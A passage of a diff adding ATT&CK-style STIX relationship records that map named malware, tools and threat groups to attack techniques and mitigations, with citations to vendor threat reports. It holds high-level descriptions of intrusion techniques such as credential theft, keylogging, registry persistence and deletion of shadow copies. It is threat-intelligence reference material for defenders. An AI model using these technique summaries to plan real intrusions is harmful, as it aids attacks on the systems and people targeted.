Lotus February 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cb35f782-6fb4-4a0c-b549-8af99dbc57fd", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c", + "modified": "2020-01-30T19:57:16.524Z", + "source_ref": "course-of-action--3a476d83-43eb-4fad-9b75-b1febd834e3d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-05-31T21:33:27.027Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--978dbb17-c5c5-4248-8385-9dc6f691030b", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) can download files from its C2 server to the victim's machine.(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 OilRig Sept 2018)", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2019-04-24T23:40:23.531Z", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "source_name": "Unit 42 OopsIE! Feb 2018" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/", + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "source_name": "Unit 42 OilRig Sept 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4086a9d6-5574-48fb-be8d-e8406145e740", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can gather browser usernames and passwords.(Citation: Accenture Hogfish April 2018)", + "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "modified": "2020-03-20T00:10:52.959Z", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. 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(2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390" + }, + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + }, + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. 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Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--100f4917-1702-4707-bd9f-58d471e77018", + "description": "[More_eggs](https://attack.mitre.org/software/S0284) has the capability to gather the OS version and computer name.(Citation: Talos Cobalt Group July 2018)(Citation: Security Intelligence More Eggs Aug 2019)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2019-09-16T19:41:10.250Z", + "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/", + "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", + "source_name": "Security Intelligence More Eggs Aug 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0f5d3626-1dc2-4ebe-ba37-3f86ab0df9ec", + "description": "[Rover](https://attack.mitre.org/software/S0090) persists by creating a Registry entry in HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\.(Citation: Palo Alto Rover)", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": "2020-03-16T17:46:07.792Z", + "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/", + "description": "Ray, V., Hayashi, K. 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The malware then sets the hijacked service to start automatically to establish persistence.(Citation: F-Secure BlackEnergy 2014)", + "target_ref": "attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd", + "modified": "2020-06-02T16:14:00.608Z", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "F-Secure BlackEnergy 2014", + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9064fd2e-4e0a-44e4-8bde-6e6c4cf8495f", + "target_ref": "attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300", + "modified": "2020-01-24T18:26:19.215Z", + "source_ref": "course-of-action--61d02387-351a-453e-a575-160a9abc3e04", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-12-14T16:46:06.044Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e64a09d0-4205-4aca-8acb-f6926233d107", + "description": "A module in [Prikormka](https://attack.mitre.org/software/S0113) collects information about the paths, size, and creation time of files with specific file extensions, but not the actual content of the file.(Citation: ESET Operation Groundbait)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2019-07-26T20:45:14.568Z", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf", + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "source_name": "ESET Operation Groundbait" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f5acb12e-6d83-4628-9b1d-61f277a699b2", + "description": "The [Komplex](https://attack.mitre.org/software/S0162) payload is stored in a hidden directory at /Users/Shared/.local/kextd.(Citation: Sofacy Komplex Trojan)", + "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", + "modified": "2020-01-17T19:50:01.373Z", + "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "source_name": "Sofacy Komplex Trojan" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0df8e968-716a-4de9-9669-862af62d6eb6", + "description": "[SslMM](https://attack.mitre.org/software/S0058) sends the logged-on username to its hard-coded C2.(Citation: Baumgartner Naikon 2015)", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "modified": "2019-04-25T02:48:47.517Z", + "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--52278e18-f8b3-4bf1-a5d3-ac819ccfd301", + "description": "[DOGCALL](https://attack.mitre.org/software/S0213) is capable of logging keystrokes.(Citation: FireEye APT37 Feb 2018)(Citation: Unit 42 Nokki Oct 2018)", + "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "modified": "2020-03-16T16:43:12.192Z", + "source_ref": "malware--0852567d-7958-4f4b-8947-4f840ec8d57d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "source_name": "Unit 42 Nokki Oct 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--396877b9-7276-4384-8475-38f7100d3380", + "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) uses port 52100 and 5876 for C2 communications.(Citation: ASERT InnaputRAT April 2018)", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/", + "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", + "source_name": "ASERT InnaputRAT April 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f7ded6a1-043e-437a-8a0c-00ded73e5289", + "description": "[Nerex](https://attack.mitre.org/software/S0210) creates a Registry subkey that registers a new service.(Citation: Symantec Nerex May 2012)", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3445-99", + "description": "Ladley, F. (2012, May 15). Backdoor.Nerex. Retrieved February 23, 2018.", + "source_name": "Symantec Nerex May 2012" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0d3e115b-ff08-4bff-8802-be3d21cec68f", + "description": "[Prikormka](https://attack.mitre.org/software/S0113) encrypts some C2 traffic with the Blowfish cipher.(Citation: ESET Operation Groundbait)", + "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "modified": "2020-03-21T00:18:56.370Z", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf", + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "source_name": "ESET Operation Groundbait" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2c09a27c-2eea-4287-9908-964533234e71", + "description": "[cmd](https://attack.mitre.org/software/S0106) can be used to find files and directories with native functionality such as dir commands.(Citation: TechNet Dir)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2020-03-17T19:12:13.054Z", + "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://technet.microsoft.com/en-us/library/cc755121.aspx", + "description": "Microsoft. (n.d.). Dir. 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Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e039e3d4-2e3d-4e6e-902e-5e1834abe8e4", + "description": "Some [Orz](https://attack.mitre.org/software/S0229) versions have an embedded DLL known as MockDll that uses process hollowing and [Regsvr32](https://attack.mitre.org/techniques/T1218/010) to execute another payload.(Citation: Proofpoint Leviathan Oct 2017)", + "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", + "modified": "2021-02-09T15:04:49.224Z", + "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets", + "description": "Axel F, Pierre T. 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Retrieved February 15, 2018.", + "source_name": "Proofpoint Leviathan Oct 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a48e7d01-012a-4336-9676-0f34e8501e22", + "description": "[FIN10](https://attack.mitre.org/groups/G0051) has used RDP to move laterally to systems in the victim environment.(Citation: FireEye FIN10 June 2017)", + "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", + "modified": "2019-04-25T12:09:56.320Z", + "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf", + "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.", + "source_name": "FireEye FIN10 June 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3b35fec9-ee0d-4c2d-9936-0aa06ad6a49a", + "description": "The [APT1](https://attack.mitre.org/groups/G0006) group is known to have used pass the hash.(Citation: Mandiant APT1)", + "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", + "modified": "2019-08-20T13:08:13.335Z", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.035Z", + "external_references": [ + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--172a8a26-d2c9-4d29-b050-55949c0186dd", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) marks files to be deleted upon the next system reboot and uninstalls and removes itself from the system.(Citation: McAfee Bankshot)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2020-03-16T16:41:06.909Z", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/", + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "source_name": "McAfee Bankshot" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--91c5d713-a89c-49fa-92eb-abaf18fae988", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s New-UserPersistenceOption Persistence argument can be used to establish via a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053).(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "modified": "2020-03-28T21:37:30.427Z", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--510c2f8c-4570-4c19-8c36-7004f8bbf561", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers the Address Resolution Protocol (ARP) table from the victim.(Citation: Citizen Lab Stealth Falcon May 2016)", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "modified": "2020-03-17T02:38:48.580Z", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.073Z", + "external_references": [ + { + "url": "https://citizenlab.org/2016/05/stealth-falcon/", + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "source_name": "Citizen Lab Stealth Falcon May 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b8f1354c-9cff-40ef-aa47-591952c735c3", + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects information about available drives, default browser, desktop file list, My Documents, Internet history, program files, and root of available drives. It also searches for ICS-related software files.(Citation: Symantec Dragonfly)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2020-03-17T16:17:38.055Z", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5027a119-ff43-4ca6-a862-3efe39b29b3e", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) monitors USB devices and copies files with certain extensions to a predefined directory.(Citation: TrendMicro Patchwork Dec 2017)", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "modified": "2021-06-21T12:32:12.863Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cd001a55-ed41-4109-9090-41bebed9113a", + "description": "[FIN8](https://attack.mitre.org/groups/G0061)'s malicious spearphishing payloads are executed as [PowerShell](https://attack.mitre.org/techniques/T1059/001). [FIN8](https://attack.mitre.org/groups/G0061) has also used [PowerShell](https://attack.mitre.org/techniques/T1059/001) for lateral movement and credential access.(Citation: FireEye Obfuscation June 2017)(Citation: Bitdefender FIN8 July 2021)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "modified": "2021-09-15T15:44:16.930Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "FireEye Obfuscation June 2017", + "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html" + }, + { + "url": "https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation", + "description": "Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021.", + "source_name": "Bitdefender FIN8 July 2021" + }, + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2244e21e-b7f6-476f-8f58-67db772f9736", + "description": "The [CALENDAR](https://attack.mitre.org/software/S0025) malware communicates through the use of events in Google Calendar.(Citation: Mandiant APT1)(Citation: Mandiant APT1 Appendix)", + "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", + "modified": "2020-03-20T21:05:26.726Z", + "source_ref": "malware--5a84dc36-df0d-4053-9b7c-f0c388a57283", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1" + }, + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2d090e9d-f9fb-4f73-99df-0e17a7489adb", + "description": "[H1N1](https://attack.mitre.org/software/S0132) disable recovery options and deletes shadow copies from the victim.(Citation: Cisco H1N1 Part 2)", + "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "modified": "2019-04-29T18:23:16.022Z", + "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2", + "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", + "source_name": "Cisco H1N1 Part 2" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1451c4a3-5dc6-4744-8120-197f3a3134c1", + "description": "[Duqu](https://attack.mitre.org/software/S0038) can be configured to have commands relayed over a peer-to-peer network of infected hosts if some of the hosts do not have Internet access.(Citation: Symantec W32.Duqu)", + "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755", + "modified": "2020-03-20T21:53:54.954Z", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--08738197-aa06-4177-acc2-10569c39f423", + "description": "[Koadic](https://attack.mitre.org/software/S0250) performs most of its operations using Windows Script Host (VBScript) and runs arbitrary shellcode .(Citation: Github Koadic)", + "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "modified": "2020-03-19T18:05:39.185Z", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://github.com/zerosum0x0/koadic", + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "source_name": "Github Koadic" + } + ] + 